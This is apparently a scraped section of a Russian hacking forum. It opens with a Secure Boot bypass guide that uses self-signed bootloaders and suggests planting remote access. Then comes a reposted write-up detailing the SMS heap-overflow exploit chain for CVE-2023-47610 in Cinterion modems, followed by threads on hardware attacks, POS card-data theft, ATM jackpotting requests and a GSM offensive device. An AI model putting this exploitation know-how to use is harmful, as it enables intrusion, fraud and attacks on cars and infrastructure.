Secure Boot — это технология безопасности, предназначенная для того, чтобы предотвратить загрузку несанкционированного кода в процессе старта устройства. Она проверяет цифровые подписи всех компонентов, загружаемых при запуске системы, включая операционную систему и компоненты BIOS/UEFI. Если модификация прошивки не подписана доверенным ключом, Secure Boot заблокирует её загрузку.

**Как обойти Secure Boot?

![](/proxy.php?image=https%3A%2F%2Fmedia.geeksforgeeks.org%2Fwp- content%2Fuploads%2F20240319234526%2FSecure.jpg&hash=811f95bf591ffa336d189bcfce3a3cce)**​

Использование собственного ключа для подписания прошивки:
Если вы не хотите или не можете отключить Secure Boot, можно использовать собственный ключ для подписи прошивки или отдельных её компонентов.

Шаг 1: Использование UEFI-совместимого загрузчика

Создание или модификация загрузчика : Для того чтобы обойти Secure Boot, нужно использовать UEFI-совместимый загрузчик, который может быть либо стандартным загрузчиком, таким как GRUB2 или собственный кастомный загрузчик, либо загрузчиком с вашим собственным кодом.

Если у вас есть доступ к исходным кодам загрузчика, вы можете добавить необходимые изменения для внедрения удалённого доступа, как это было показано в предыдущем примере с SSH или RDP. Важно, что загрузчик должен быть написан с учётом всех специфичных для UEFI особенностей, таких как использование .efi файлов.

Подпись загрузчика : Если вы хотите использовать загрузчик, который не является официально подписанным для Secure Boot, его нужно подписать с помощью собственного ключа. Для этого можно использовать утилиты, такие как sbsigntool, чтобы подписать UEFI-загрузчик. Процесс выглядит следующим образом:

Сначала генерируйте ключи (приватный и публичный):

Code:Copy to clipboard

openssl genpkey -algorithm RSA -out my_private_key.pem -aes256
openssl rsa -in my_private_key.pem -outform PEM -pubout -out my_public_key.pem

Подпишите загрузчик:

Code:Copy to clipboard

sbsign --key my_private_key.pem --cert my_public_key.pem --output bootloader.signed bootloader.efi

Добавление подписанного загрузчика в UEFI : После того как вы подписали загрузчик, необходимо добавить его в базу доверенных ключей UEFI. Это можно сделать с помощью утилиты KeyTool или через настройки BIOS/UEFI на вашем устройстве:

-Перезагрузите систему и войдите в BIOS/UEFI.
-Перейдите в раздел Secure Boot и добавьте ваш публичный ключ в раздел Key Management или Custom Secure Boot Keys.
-Таким образом, система будет доверять вашему подписанному загрузчику, несмотря на включённый Secure Boot.

Это была моя первая статья, и тут много чего не показано, т.к. если углубляться в эту тему можно написать несколько книг. Тут описано все в общих чертах и если вы уже захотите что то повторить то у вас уже имеется определенная база для этого. В добавок хочу добавить что выслушаю все комментарии и если чего то не хватает то готов дополнять тему и писать вторую часть. Всем удачи<3

[DEF CON 32] ACE up the Sleeve: From getting JTAG on the iPhone 15 to hacking into Apple's new USB-C Controller
ID: 676535aeb4103b69df373563
Thread ID: 120797
Created: 2024-08-14T19:05:47+0000
Last Post: 2024-08-14T19:05:47+0000
Author: weaver
Prefix: Мануал/Книга
Replies: 0 Views: 588

Description

With the iPhone 15 & iPhone 15 Pro Apple switched their iPhone to USB-C - and introduced a new proprietary USB-C controller: The ACE3.

But the ACE3 does more than just handle USB power delivery: It's a full microcontroller running a full USB stack connected to some of the internal busses of the device, and we even managed to access JTAG on the iPhone 15 through it. It also provides access to UART, the internal SPMI bus, etc. Previous variants of the ACE, namely the ACE2 found in MacBooks, could easily be dumped and analyzed using SWD - and even be persistently backdoored through a software vulnerability we found.

On the ACE3 however, Apple upped their game: Firmware updates are personalized, debug interfaces seem to be disabled, and the external flash is validated and does not contain all the firmware. However using a combination of reverse-engineering, RF side-channel analysis and electro- magnetic fault-injection it was possible to gain code-execution on the ACE3

  • allowing dumping of the ROM, and analysis of the functionality.

This talk will show how to use a combination of hardware, firmware, reverse-engineering, side-channel analysis and fault-injection to gain code- execution on a completely custom chip, enabling further security research on an under-explored but security relevant part of Apple devices.

Click to expand...

slides
тык

Атака по SMS. Как мы нашли уязвимость в популярном GSM-модеме и раскрутили ее до RCE
ID: 676535aeb4103b69df373545
Thread ID: 127397
Created: 2024-11-21T21:49:55+0000
Last Post: 2024-11-21T21:49:55+0000
Author: pablo
Prefix: Статья
Replies: 0 Views: 577

В прошлом году моя я и моя команда исследовали модем Cinterion EHS5. Мы обнаружили в его прошивке уязвимость переполнения кучи при обработке сообщений протокола Secure UserPlane Location (SUPL), передаваемых в виде SMS. Этот баг позволяет выполнить произвольный код на уровне операционной системы модема с максимальными привилегиями — достаточно отправить всего пять SMS через сеть оператора.

Найденная уязвимость впоследствии получила идентификатор CVE-2023-47610 и высокую оценку критичности.

Модемы Cinterion стоят в огромном числе самых разных устройств. Даже примерный список девайсов составить сложно, поскольку модель модема не всегда указана в документации. Мы изучали сайты производителей и таможенные декларации импортеров разных изделий и установили, что такие модемы можно встретить в умных устройствах, банкоматах, индустриальных шлюзах, автомобилях и даже медицинском оборудовании.

Результатами исследования мы уже делились на конференциях [OffensiveCon](https://www.offensivecon.org/speakers/2024/alexander-kozlov- and-sergey-anufrienko.html) и Hardware.io.

Исследуем модем​


Итак, наш модем — это модуль в форм‑факторе LGA (Land Grid Array), предназначенный для встраивания в печатные платы. Сам модуль состоит из baseband-процессора Intel X-Gold 625 (XMM 6260), микросхемы NAND-флеш‑памяти (совмещенной с 512 Мбит памяти LPDDR), микросхемы RF-усилителя и трансивера. Модем поддерживает стандарты GSM, GPRS, EDGE, UMTS и HSPA+.
Чтобы получить прошивку, мы сняли защитный экран и выпаяли микросхему флеш‑памяти, после чего считали данные с нее на программаторе и восстановили логические блоки из сырого образа.

Общаемся с модемом удаленно​

Cinterion EHS5 поддерживает геопозиционирование с помощью подсистемы SUPL. Она отвечает за обмен специальными сообщениями между H-SLP (Home SUPL Location Platform) и SET (SUPL Enabled Terminal). Сам модем при этом — это объект типа SET.

Для коммуникации используется бинарный протокол ULP. Его данные в сети GSM передаются при помощи push-сообщений через стек протоколов WAP (Wireless Application Protocol).

На уровне push-сообщений WSP (Wireless Session Protocol) в протокол ULP заложена возможность фрагментации передаваемого сообщения. Это сделано для того, чтобы можно было передавать большие бинарные сообщения через ограниченный канал передачи SMS. Чтобы фрагментированные послания можно было собрать на стороне SET, они индексируются. При этом в самом начале SUPL- сообщения указывается еще и размер всего сообщения.
Пример первой SMS

Пример последующих SMS

С помощью статического анализа мы изучили части кода ОС модема, а именно, участки, отвечающие за реализацию этого протокола. Прежде всего мы выяснили, что в модеме используется операционная система ThreadX, затем — нашли функции создания процессов и в одном из них обнаружили код обработки тех самых «магических» значений из SMS-сообщений со скриншотов выше.

После этого мы углубились в изучение алгоритма работы.

Переполнение кучи​

Изучая драйвер, отвечающий за обработку фрагментации ULP-сообщений, мы нашли уязвимость переполнения кучи.

На скриншоте выше переменная ULPSizeFromPacket отвечает за размер всего пакета ULP, а за размер принятого WAP-сообщения — переменная wapTpduLen. Обработка WAP-сообщений заключается в последовательном копировании фрагментов ULP- сообщения в буфер, размер которого равен ULPSizeFromPacket.

В соответствии с протоколом передачи переменные ULPSizeFromPacket и wapTpduLen вычисляются независимо. Эти переменные имеют отношение к разным уровням представления данных и косвенно связаны только в части алгоритма приема WAP- сообщений: сумма размеров всех принятых WAP-сообщений одного UPL-сообщения не должна превышать ULPSizeFromPacket. Но в алгоритме приема WAP-сообщений отсутствует такая проверка. Соответственно, принятое WAP-сообщение размера wapTpduLen будет безусловно копироваться в буфер размера ULPSizeFromPacket. Это классическая уязвимость типа Heap-based Buffer Overflow.

Мы сформировали соответствующее SMS-сообщение и с первой же попытки вызвали переполнение буфера на стороне модема, что привело к его полной перезагрузке.

Что делать с black box окружением?​

Мы нашли переполнение буфера, и это хорошо. Но нам неизвестен его контекст, и это плохо. У нас нет никакой возможности хотя бы прочитать память модема (RAM), чтобы разобраться в происходящем... или есть?
При переполнении буфера мы получали стабильный Hardware Fault и перезагрузку модема, а в качестве обратной связи смогли извлечь только адрес места падения и состояние регистров процессора с помощью AT-команды AT+XLOG.

Чтобы продвинуться в эксплуатации, нужно было проанализировать место падения, получить контекст исполнения (состояние оперативной памяти на момент падения) и разобраться в устройстве менеджера кучи операционной системы ThreadX. Мы не могли читать память или отлаживать прошивку, однако мы обнаружили, что при падении в регистр R0 попадают контролируемые нами данные.

Дальнейший анализ кода прошивки показал, что падение происходит внутри функции malloc, когда программа пытается разыменовать указатель, содержащий контролируемый нами адрес в регистре R0.

Значение 0xFFFFEEEE — «магическое» и означает начало свободного блока памяти в куче. В случае если блок занят, в Curr_Chunk[1] вместо магического значения будет указатель на структуру, описывающую глобальное состояние менеджера кучи (HeapBase).

Если вызвать переполнение таким образом, чтобы в регистре R0 оказался корректный адрес памяти модема, то падения в этом месте не произойдет и в R0 сохранится значение из памяти по этому адресу. Однако если значение не окажется корректным адресом, то программа упадет и значение, записанное ранее в R0, можно будет прочитать после перезагрузки командой AT+XLOG. Модем загружается всегда по одному сценарию, поэтому между перезагрузками его оперативная память будет иметь приблизительно одинаковый вид.

Эта находка позволила нам очень медленно, со скоростью 4 байта в минуту, считывать память модема путем отправки SMS-сообщений, вызывающих переполнение кучи. Для автоматизации процесса мы собрали стенд, и в итоге считывание интересующих областей памяти таким изощренным способом заняло несколько недель.

Поиск примитива записи​

Пока память считывалась, мы занялись детальным изучением устройства кучи в ОС ThreadX с целью найти примитив записи. Мы полностью проанализировали код функций malloc и free и определили, что единственное подходящее место, в котором происходит запись в память через двойное разыменование, находится в коде free, и связано это с особенностями ее реализации.

В отличие от традиционной функции free, наша не только освобождает память, возвращая выделенный блок обратно в пул свободной памяти, но и после этого проверяет, есть ли необработанный запрос на выделение памяти от текущего процесса. И, если только что освобожденный блок памяти подходит по размеру, происходит его выделение прямо внутри функции free, после чего обновляется состояние в соответствующей структуре Thread.

Рассмотрим код со скриншота выше. Здесь указатель на найденный свободный блок для текущего процесса будет записан по адресу, указанному в этой структуре по смещению 0х80. Поэтому, если вместо исходной структуры Thread текущего процесса в функцию free будет передан указатель на управляемую нами область памяти, имитирующую структуру Thread, можно будет обеспечить запись по произвольному адресу в памяти модема. При этом запишутся не произвольные данные, а указатель на некоторый свободный блок памяти. Этого вполне достаточно для того, чтобы перехватить поток управления исполняемой программы.

Указатель на Thread берется из структуры HeapBase, расположенной по статическому адресу. Указатель на HeapBase содержится в каждом занятом блоке по смещению 0x4 и используется для того, чтобы при работе с занятым блоком можно было адресовать HeapBase. В итоге если переписать указатель по смещению 0x4 занятого блока указателем на наши данные, то можно полностью подменить структуру HeapBase, с которой будет работать функция free, а следовательно, и структуру Thread.

Остается выяснить, какие поля структур необходимо заполнить, чтобы выполнение free дошло до интересующей нас точки в программе. Далее на рисунке — нормальное состояние системных структур и то, к которому их нужно привести для записи в память по произвольному адресу указателя на свободный блок.

В процессе работы free использует лишь несколько полей структуры Thread. По смещению 0x7C находится размер памяти (блока), которую пытался выделить процесс. Именно его будет пытаться найти функция free в текущей куче. С помощью этого поля можно управлять тем, какой блок будет выделен алгоритмом как подходящий.

Это очень важное обстоятельство, так как наши данные, присланные в SUPL SMS, располагаются в куче и, если выбрать подходящий размер выделяемой в функции free памяти, можно писать по произвольному адресу не просто адреса какого‑то подходящего свободного блока, а адреса блока, в котором лежат наши данные.

По смещению 0x80 находится адрес, по которому запишется указатель на блок в случае его успешного выделения. Сюда мы можем подставить произвольный адрес, и он будет использован для записи. Функция free также использует некоторые другие смещения внутри Thread, которые необходимо заполнить для корректной работы.

Итоговый вид «поддельной» структуры Thread
Аналогичным образом мы проверили, какие поля структуры HeapBase важно заполнить, чтобы все работало корректно.

Реализация записи в память на практике​

Итак, мы проанализировали в статике код менеджера памяти ОС, и у нас появилось понимание того, как нужно сформировать структуры в памяти модема, чтобы получить примитив записи. Однако реализовать это все на практике было непросто. В частности, в процессе обработки входящих WAP SMS происходит несколько вызовов функций free и malloc. Соответственно, для полноценной эксплуатации уязвимости необходимо было обеспечить:

На выполнение этих требований напрямую влияет стратегия работы менеджера памяти со свободными и занятыми блоками. Нам уже было известно, что:

Далее мы установили, что происходит при выделении нового блока функцией malloc. Его область пользовательских данных затирается нулями. Это очень важный момент, и его нужно учитывать, чтобы обеспечить достаточно долгое хранение наших структур.

При этом выделяется всегда первый блок подходящего размера. Но если размер найденного свободного блока слишком большой (превышает размер пользовательских данных на 20 байт), то происходит фрагментация: создается еще один блок сразу после конца пользовательских данных. Если в процессе выделения найдется свободный блок, но меньшего, чем нужно, размера и следующий за ним блок тоже свободен, произойдет дефрагментация — два свободных блока объединятся в один.

При освобождении занятого блока функцией free, если его адрес меньше, чем текущий адрес первого свободного блока в буфере HeapBase (смещение 0х05), его адрес становится новым адресом первого свободного блока. Так что если размер SUPL-сообщения всегда задавать равным одному байту, то выделение памяти в куче будет производиться всегда в самом первом свободном блоке, поскольку он всегда будет удовлетворять критериям. А если при этом будет успевать отрабатывать free, то отправка сообщений SUPL будет приводить к записи в промежуточный буфер, находящийся по одному и тому же адресу. Остается установить, как можно выстроить вызовы free и malloc в нужной последовательности.

При получении первого WAP SMS выделяется буфер в куче размером ULPSizeFromPacket, куда будут копироваться все фрагменты ULP-сообщения. Однако в коде отсутствует проверка на то, что порядковый номер текущего WAP-сообщения (фрагмент ULP-сообщения) уже присылался ранее. Это тоже приводит к переполнению в куче, но ошибка возникнет в другой части алгоритма.

После первого сообщения всегда приходит не последнее. Используя этот факт, можно переполнять выделенный буфер для ULP-сообщения сколько угодно большим объемом данных. При этом мы управляем указателем внутри переполненного буфера на то, по какому смещению будет записано следующее SMS-сообщение. Для этого нам нужно посылать SMS нужного размера, и указатель будет смещаться на ту же величину при копировании. Каждый следующий фрагмент ULP-сообщения будет размещаться в памяти сразу за предыдущим. В итоге, чтобы сформировать в куче нужные нам структуры данных, потребуется всего три типа WAP-сообщений.

Если после отправки первого фрагментированного WAP-сообщения послать снова первое (индекс первого сообщения проверяется при обработке), то программа проверит, что ранее для этого ULP-сообщения уже был выделен буфер, и произойдет вызов free для освобождения — так как было получено новое ULP- сообщение и нет смысла хранить старое.

За счет того, что выделенный ранее буфер был первым свободным, он снова станет первым свободным (у него младший адрес из всех свободных буферов). Далее снова вызывается malloc для только что пришедшего первого фрагмента ULP-сообщения. Но программа снова выделит все тот же буфер! Таким образом, все первые WAP- сообщения будут приводить к выделению одного и того же буфера для ULP- сообщения.


Буфер для нашего первого WAP SMS выделяется всегда в одном и том же месте в памяти, причем его размер очень маленький, поэтому произойдет обнуление только первых 4 байт нашего ULP-сообщения (то есть при повторном выделении одного и того же указателя в памяти будут затерты только 4 байта из ранее записанных данных). Мы управляем размером копируемых в этот буфер данных, поэтому можно прислать сначала несколько фрагментированных WAP-сообщений, чтобы создать в памяти нужные структуры данных, а также разместить код для дальнейшего исполнения.

В WAP-сообщении мы указываем размер ULP-сообщения равным одному байту. Поэтому размер выделяемого буфера, в силу выравнивания в malloc размера выделяемой памяти по границе DWORD, будет равен 4 байтам — независимо от размера блока, в который нас поместят. А благодаря фрагментации можно быть уверенным, что при переполнении мы обязательно перетрем следующий блок нашими данными.

Это очень важно, потому что в итоге, чтобы сработала вся выстроенная цепочка вызовов free и malloc, она должна завершиться вызовом free для блока, данные заголовка в котором переписаны указателем на нашу структуру HeapBase. Обеспечить это можно, если мы сможем управлять данными в заголовке свободных блоков.

Используя описанную стратегию записи в кучу, можно добавить не только структуры и код, но и свободный блок в цепочку всех блоков кучи. В первом WAP- сообщении происходит перезапись указателя следующего блока. Мы можем переписать этот указатель правильным адресом следующего за нашим блока. Созданный таким образом искусственный блок будет находиться внутри нашего большого блока. А за счет его расположения он окажется первым при поиске свободных.

В итоге мы создадим в памяти модема нужные структуры данных и свободные блоки, а также разместим исполняемый код. Теперь можно снова начать присылать WAP- сообщения с индексом, соответствующим первому SMS-сообщению, и таким образом получить возможность переписывать данные в ранее созданном свободном блоке. Так мы обеспечим подмену указателя на HeapBase в занятом блоке нашим.


После создания свободного блока внутри большого буфера остается заставить кого‑то его занять до того, как мы пришлем новое SMS-сообщение, которое будет этот блок перетирать. В этом нам поможет алгоритм обработки принятого WAP- сообщения.

Особенности обработки каждого WAP-сообщения​

В начале обработки любого WAP-сообщения только что принятое сообщение копируется во временный буфер, выделяемый в куче. Именно из этого буфера потом выполняется копирование в буфер для всего ULP-сообщения (он создается при обработке первого WAP SMS). При этом, если WAP-сообщение не было последним, после его копирования происходит только освобождение выделенного временного буфера. Буфер, содержащий часть ULP-сообщения, остается занятым.

Это тот самый вызов free, который мы хотим использовать для записи в память. Чтобы добиться этого, нам достаточно при получении очередного WAP-сообщения скопировать его именно в созданный нами свободный блок внутри нашего буфера. Для этого нужно прислать WAP-сообщение, размер данных которого равен размеру свободного блока, созданного нами внутри нашего буфера.

Поскольку malloc начнет поиск подходящего блока для обработки пришедшего WAP- сообщения с этого свободного блока, мы гарантированно заставим malloc вернуть указатель именно на наш блок. Остается только сделать так, чтобы текущее смещение внутри буфера ULP-сообщения указывало ровно на начало заголовка только что выделенного блока.

Собираем все вместе​

В итоге реализация примитива записи состоит из следующих шагов.

Исполнение кода​

Целью всей сложной работы была запись единственного DWORD — указателя на наши данные — по произвольному адресу в памяти модема. Разработку эксплоита значительно усложняло то, что у нас не было возможности отладки и мы строили все примитивы, работая с модемом как с черным ящиком.

Мы можем записать всего один DWORD, поэтому нужно было найти такое место в коде ОС модема, которое бы передавало управление сразу по адресу, взятому из оперативной памяти. При этом желательно, чтобы код, который будет делать переход, выполнялся безусловно и гарантированно. Такое место нашлось в менеджере процессов ОС.

Менеджер процессов работает со структурой Thread. В этой структуре по смещению 0х94 от начала может храниться указатель на функцию, которая будет вызвана, если он не равен нулю.

Таким образом, для исполнения своего кода достаточно записать по смещению 0х94 некоторого процесса указатель на наш ARM-код в памяти кучи с помощью полученного ранее примитива записи.

В итоге мы сможем выполнять произвольный код с максимальными привилегиями, достаточно лишь отправить несколько SMS.

Разблокируем память​

Итак, мы можем исполнить свой код на уровне операционной системы модема. Что дальше? А дальше нужно понять, можно ли закрепиться в ОС, ведь от этого зависит, насколько эта уязвимость действительно критическая.

Фрагмент кода, в котором происходит перехват управления, выполняется в критической секции. В этой части отключены все прерывания. Поэтому такой код нельзя использовать для закрепления в ОС — он должен выполняться как можно быстрее, чтобы не сработал сторожевой таймер. При этом ни одна операция работы с внешними компонентами в этом режиме не доступна (прерывания отключены).

Поэтому для модификации процесса ОС мы решили использовать код, выполняемый в контексте менеджера памяти. Вся секция была отображена в режиме RX (Read/Execute), поэтому перед дальнейшими действиями нужно было как‑то обеспечить возможность записи в секцию кода.

Мы узнали, что в MMU модема хранится полная таблица трансляции по логическому адресу 0x00088000. Секция кода и секция данных оказались отображены в режиме page, где размер одной страницы равен 0х100000 байт (1 Мбайт). Для этих секций использовалась трансляция 1:1. Это хорошо видно в области данных настройки MMU.

Настройка режима доступа к секциям — нестандартная для архитектуры ARM. Поэтому мы решили просто скопировать настройку доступа из секции данных, которая, как мы уже убедились, отображена в режиме RWX (Read/Write/Execute). После этого мы получили возможность записи в любую секцию кода.

Бонусом к этому мы теперь можем получить карту физической памяти модема. По смещению 0x00089900 начинались свободные логические адреса, на которые гарантированно никто не ссылается в коде, потому что они не были отображены. Но мы же можем сделать их отображенными вручную! Такой подход позволил дополнить уже имеющиеся сведения о карте памяти модема информацией о точном размере доступной оперативной памяти.

Запускаем свое приложение, без регистрации, но через SMS​

После того как мы разблокировали секцию кода для записи, оставалось только выбрать подходящий для модификации процесс. Чтобы организовать полудуплексный канал связи с модемом, мы выбрали процесс UTACAT, отвечающий за обработку SMS- сообщений. Именно отвечающую за это функцию мы и изменили в его коде.

Определив место внесения изменений, мы составили список функций, которые работают с файловой системой модема. С их помощью можно обеспечить установку произвольного приложения. Кроме того, были нужны функции, которые дадут возможность работать с памятью модема, потому что большинство функций драйвера файловой системы работает с локальными буферами. В итоговый список вошли:

У malloc и free нет специального контекста выполнения. Функция malloc принимает на вход только один параметр — размер буфера, который необходимо выделить. Функция free — только указатель на буфер, который нужно освободить.

У нас осталась функция работы с файловой системой, она должна была помочь создавать новые файлы или перезаписывать существующий. Такая функция в процессе JVM используется для работы с файловой системой и принимает на вход всего два параметра:

В итоге мы разработали небольшой драйвер на ARM-ассемблере, обеспечивающий работу со всеми описанными функциями через SMS-сообщения. Чтобы можно было отличить наши SMS, мы решили использовать специальное значение 0x6AA677BB в заголовке.

Когда мы применили описанную технику исполнения произвольного кода, нам удалось успешно запустить драйвер в контексте процесса UTACAT. После нам оставалось только создать и запустить с его помощью наше приложение на модеме.

Таким образом, мы собрали full chain PoC эксплуатации переполнения кучи, начиная от посылки первого SMS-сообщения и заканчивая закреплением (установка нашего приложения) на модеме.

Возможные риски​

Модем — это важный компонент разных устройств, которые должны оставаться на связи. Среди них как бытовые приборы и привычные гаджеты, так и телекоммуникационные блоки автомобилей, банкоматы, компоненты АСУ ТП.

При разработке конечных устройств производители зачастую не уделяют должного внимания их защите от компрометации модема. А захватив модем, злоумышленник может не только контролировать информационный поток между устройством и внешним миром, но и получить практически неограниченный доступ к наиболее важным компонентам конечного устройства.

Например, при компрометации модема, используемого в электронном блоке автомобиля, злоумышленник может получить удаленный доступ к тормозной системе, рулевому управлению или КПП. А управляя модемом, используемым в АСУ ТП, — вызвать техногенную катастрофу.

Проблему усугубляет то, что при обнаружении серьезной уязвимости в модеме может понадобиться значительное время на обновление всех устройств, в которых он установлен. При этом в каких‑то устройствах удаленное обновление может быть вообще не заложено как функция.

Подобную проблему мы наблюдали, например, в одной из систем управления телематическими данными автомобиля. В таких случаях установка обновления требует дополнительных усилий и затрат со стороны производителя конечного устройства для того, чтобы обновить вручную каждый из уязвимых модемов.

Автор @n0um3n0n
Источник xakep.ru

VoltSchemer: Use Voltage Noise to Manipulate Your Wireless Charger
ID: 676535aeb4103b69df373561
Thread ID: 120979
Created: 2024-08-18T11:42:44+0000
Last Post: 2024-08-18T11:42:44+0000
Author: abc20c
Prefix: Мануал/Книга
Replies: 0 Views: 572

Introduction to VoltSchemer Attacks
VoltSchemer attacks represent a new approach to exploiting the wireless charging technology that is becoming increasingly common in modern devices such as smartphones, smartwatches, and other IoT devices. While wireless charging offers convenience and simplicity, it also introduces new attack vectors that malicious actors can exploit.

The term "VoltSchemer" is derived from the combination of "volt" referring to electricity and "schemer" indicating a nefarious or malicious actor. These attacks aim to compromise the integrity of devices by exploiting vulnerabilities in wireless charging protocols and firmware.

How VoltSchemer Attacks Work
1. Using wireless charging protocols

VoltSchemer attacks typically begin by exploiting vulnerabilities in wireless charging protocols. Malicious actors reconstruct these protocols to identify weaknesses that can be exploited to execute their attack. By understanding the communication protocols used between the charging pad and the device, attackers can inject malicious commands.

2. Injecting malicious voice commands

Once the vulnerabilities are identified, attackers can use them to inject malicious voice commands into the device. This is particularly concerning as many modern devices, including smartphones and smart speakers, are equipped with voice recognition technology. By surreptitiously injecting commands, attackers can potentially trigger actions such as initiating unauthorized transactions, compromising privacy, or even controlling connected smart home devices.

3. Overloading devices and method of frying

In addition to injecting voice commands, VoltSchemer attacks can also involve overloading devices with excessive voltages, resulting in hardware failure. By manipulating the charging process, attackers can send waves of electricity to the device, overloading it and causing irreparable damage. This not only renders the device unusable, but can also create safety risks such as potential fires.

Countermeasures Against VoltSchemer Attacks
To mitigate the risks posed by VoltSchemer attacks, it is essential to implement robust countermeasures at both the hardware and software levels.

Here are some effective strategies to defend against these attacks:

1. Firmware and protocol monitoring

Device manufacturers must regularly update firmware to fix known vulnerabilities and strengthen wireless charging protocols. By implementing strong encryption, authentication mechanisms, and error-checking protocols, manufacturers can make it harder for attackers to exploit weaknesses in the boot process.

2. Secure voice recognition systems

To prevent malicious voice commands from being executed, device manufacturers need to improve the security of their voice recognition systems. This includes implementing multi-factor authentication, voice biometrics and anomaly detection algorithms to distinguish between legitimate and malicious commands.

3. Voltage regulation and surge protection

Devices must be equipped with voltage regulation and surge protection mechanisms to prevent damage from electrical overload. By monitoring voltage levels and automatically shutting down in the event of overvoltage, devices can reduce the risk of hardware damage caused by VoltSchemer attacks.

4. Consumer awareness and education

End users should be educated about the risks of VoltSchemer attacks and encouraged to take proactive measures to protect their devices. This includes avoiding untrusted charging pads, regularly updating your device's firmware, and keeping an eye out for signs of suspicious activity, such as unexpected voice commands or device malfunctions.

5. Security Audits and Testing

Device manufacturers should conduct regular security audits and penetration tests to proactively identify and address potential vulnerabilities. By simulating VoltSchemer attacks in a controlled environment, manufacturers can evaluate the effectiveness of their countermeasures and make the necessary adjustments to improve security.

Conclusion
VoltSchemer attacks pose a significant threat to the security and integrity of wireless charging technology. By understanding how these attacks work and implementing effective countermeasures, device manufacturers and end users can reduce risks and protect themselves from potential exploitation.

Through secure voice recognition systems, voltage regulation, user training and ongoing security testing, we can defend against VoltSchemer attacks and ensure the continued safety and reliability of wireless charging technology.

Detailed technical explanation of the attack https://arxiv.org/pdf/2402.11423

Антенна LTE
ID: 676535aeb4103b69df3735ac
Thread ID: 100795
Created: 2023-10-24T11:05:41+0000
Last Post: 2023-10-26T06:17:06+0000
Author: хтонь
Replies: 9 Views: 567

Скажите если я использую антенну для LTE модема, как это повлияет на мою анонимность? Тогда сложнее или легче обнаружить мой дом?

Rooting an Android POS "Smart Terminal" to steal credit card information
ID: 676535aeb4103b69df373547
Thread ID: 126769
Created: 2024-11-12T22:22:29+0000
Last Post: 2024-11-12T22:22:29+0000
Author: Lipshitz
Replies: 0 Views: 559

__https://twitter.com/x/status/1856441766716506502

Взлом телефона
ID: 676535aeb4103b69df373555
Thread ID: 123434
Created: 2024-09-24T17:46:51+0000
Last Post: 2024-09-24T17:54:14+0000
Author: zero_s1n
Replies: 1 Views: 554

Уважаемые, не подскажите прогу или код, для разблокировки телефона на основе андроида, телефон если что qin f22

WHID Elite - a GSM-enabled Open-Source Multi-Purpose Offensive Device
ID: 676535aeb4103b69df373597
Thread ID: 104479
Created: 2023-12-21T18:53:16+0000
Last Post: 2023-12-21T20:53:46+0000
Author: ice80
Replies: 1 Views: 549

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F95159f269e59313703c55ff5ba2a71253dafb77a3d036dbfc6b8e3ad1d99fed9%2Fwhid- injector%2Fwhid-31337&hash=db72f3bcde81cc14c9d4d7e21b3ce45f&return_error=1)

[ GitHub - whid-injector/whid-31337: WHID Elite is a GSM-enabled Open-

Source Multi-Purpose Offensive Device that allows a threat actor to remotely inject keystrokes, bypass air-gapped systems, conduct mousejacking attacks, do acoustic surveillance, RF ](https://github.com/whid-injector/whid-31337)

WHID Elite is a GSM-enabled Open-Source Multi-Purpose Offensive Device that allows a threat actor to remotely inject keystrokes, bypass air-gapped systems, conduct mousejacking attacks, do acoustic...

github.com github.com

ищу тех кто собирал и тестил. поделитесь опытом. какие вы встретили проблемы при сборке?
линк на шоп с али-эксперсс протух. свежие линки на шопы с кломпонентаем также приветствуються.

Взлом электрокаров?
ID: 676535aeb4103b69df373587
Thread ID: 108026
Created: 2024-02-11T18:07:40+0000
Last Post: 2024-02-17T20:40:59+0000
Author: _lain
Replies: 2 Views: 544

В голову мысль пришла, на сколько реально взломать электромашину, ну допустим ту же теслу, поидее у нее есть автопилот который управляет машиной и имеется доступ в сеть, у машины есть камеры и вообще все удобства для управление ей удаленно, какая вероятность того что машину можно взломать, захватить управление и поехать развлекаться по городу как в какой то гта?

ищу около мобильного спеца
ID: 676535aeb4103b69df37359b
Thread ID: 103715
Created: 2023-12-07T23:42:21+0000
Last Post: 2023-12-08T07:16:39+0000
Author: m00r
Replies: 1 Views: 543

интересует терминология некоторых приборов

Расберри
ID: 676535aeb4103b69df373652
Thread ID: 53433
Created: 2021-06-29T10:49:23+0000
Last Post: 2021-06-29T10:49:23+0000
Author: Gyuder674
Replies: 0 Views: 537

Кто поможет с расбери?
Чтото вроде старого джекпота надо
Пм

Авиаспоттинг по-хакерски
ID: 676535aeb4103b69df373588
Thread ID: 108334
Created: 2024-02-15T20:41:38+0000
Last Post: 2024-02-15T20:41:38+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 536

Взгляни на небо! Возможно, над твоей головой каждые несколько минут будет пролетать самолет, а то и не один. Я живу недалеко от аэропорта, и воздушный трафик в моем районе особенно сильный. Сервисы вроде Flightradar24 удивительно точно показывают информацию о самолетах в воздухе, потому что получают данные по протоколу ADS-B. Это можно делать самостоятельно, и сегодня я покажу как.

Каждый, конечно, летал на самолете или видел его хоть раз в своей жизни. Большие металлические птицы кружат над всей планетой и доставляют сотни миллионов людей в разные части света. Так было не всегда: еще каких‑то 100 лет назад люди могли перемещаться только по земле, а сверхнадежных летательных аппаратов не было.

Уже после изобретения самолетов и начала коммерческих рейсов стало понятно, что надо как‑то отслеживать все находящиеся в воздухе судна, иначе аварий не избежать. Радары или тем более визуальное наблюдение для этого годятся плохо, и в ход пошла радиосвязь. Теперь на борту каждого самолета стоит авиационный транспондер. Он сильно облегчает работу диспетчерам и пилотам и позволяет в полете передавать данные с бортовых датчиков и получать указания с земли.

Простым языком авиационный транспондер — это устройство двунаправленной радиосвязи, которое делает две вещи:

  1. Отвечает на запросы наземных станций : когда диспетчер запрашивает данные, а транспондер отвечает ему в автоматическом режиме. Запрос данных еще называется интеррогацией (это слово в переводе с английского означает «допрос свидетеля»).
  2. Служит радиомаяком воздушного судна : в этом режиме транспондер раз в некоторое время передает информацию о себе, например местоположение или скорость.

Существуют разные поколения, они же режимы транспондеров. Каждый из них создавался для разных целей и имеет свою структуру сигнала, хотя более поздние режимы поддерживают все то же, что и более ранние (при этом сигналы этих протоколов несовместимы). Всего есть пять основных режимов:

Внимательный читатель сразу заметит, что в моем списке нет Mode B, как и Mode D, — оба эти режима просуществовали очень недолго, так что рассматривать их нет смысла.

Ты можешь купить себе собственный транспондер — их можно легко найти на eBay по цене до пяти тысяч долларов.

ADS-B​

